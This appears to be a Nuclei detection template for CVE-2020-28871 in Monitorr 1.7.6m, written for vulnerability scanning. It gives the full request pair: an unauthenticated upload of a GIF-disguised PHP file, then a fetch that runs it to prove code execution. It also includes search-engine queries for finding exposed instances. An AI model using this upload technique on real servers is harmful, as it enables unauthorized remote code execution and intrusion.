Monitorr 1.7.6m - Unauthenticated Remote Code Execution

id: CVE-2020-28871

info:
  name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system.
  remediation: |
    Upgrade to a patched version of Monitorr or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/48980
    - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28871
    - http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
    - http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28871
    cwe-id: CWE-434
    epss-score: 0.85901
    epss-percentile: 0.99731
    cpe: cpe:2.3:a:monitorr:monitorr:1.7.6m:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: monitorr
    product: monitorr
    shodan-query: http.favicon.hash:"-211006074"
    fofa-query: icon_hash="-211006074"
  tags: cve,cve2020,unauth,fileupload,monitor,edb,intrusive,packetstorm,rce,monitorr_project,monitorr,vuln
variables:
  string: "CVE-2020-28871"

http:
  - raw:
      - |
        POST /assets/php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: text/plain, */*; q=0.01
        Connection: close
        Accept-Language: en-US,en;q=0.5
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
        Origin: http://{{Hostname}}
        Referer: http://{{Hostname}}

        -----------------------------31046105003900160576454225745
        Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
        Content-Type: image/gif

        GIF89a213213123<?php echo md5("{{string}}");unlink(__FILE__);?>

        -----------------------------31046105003900160576454225745--
      - |
        GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200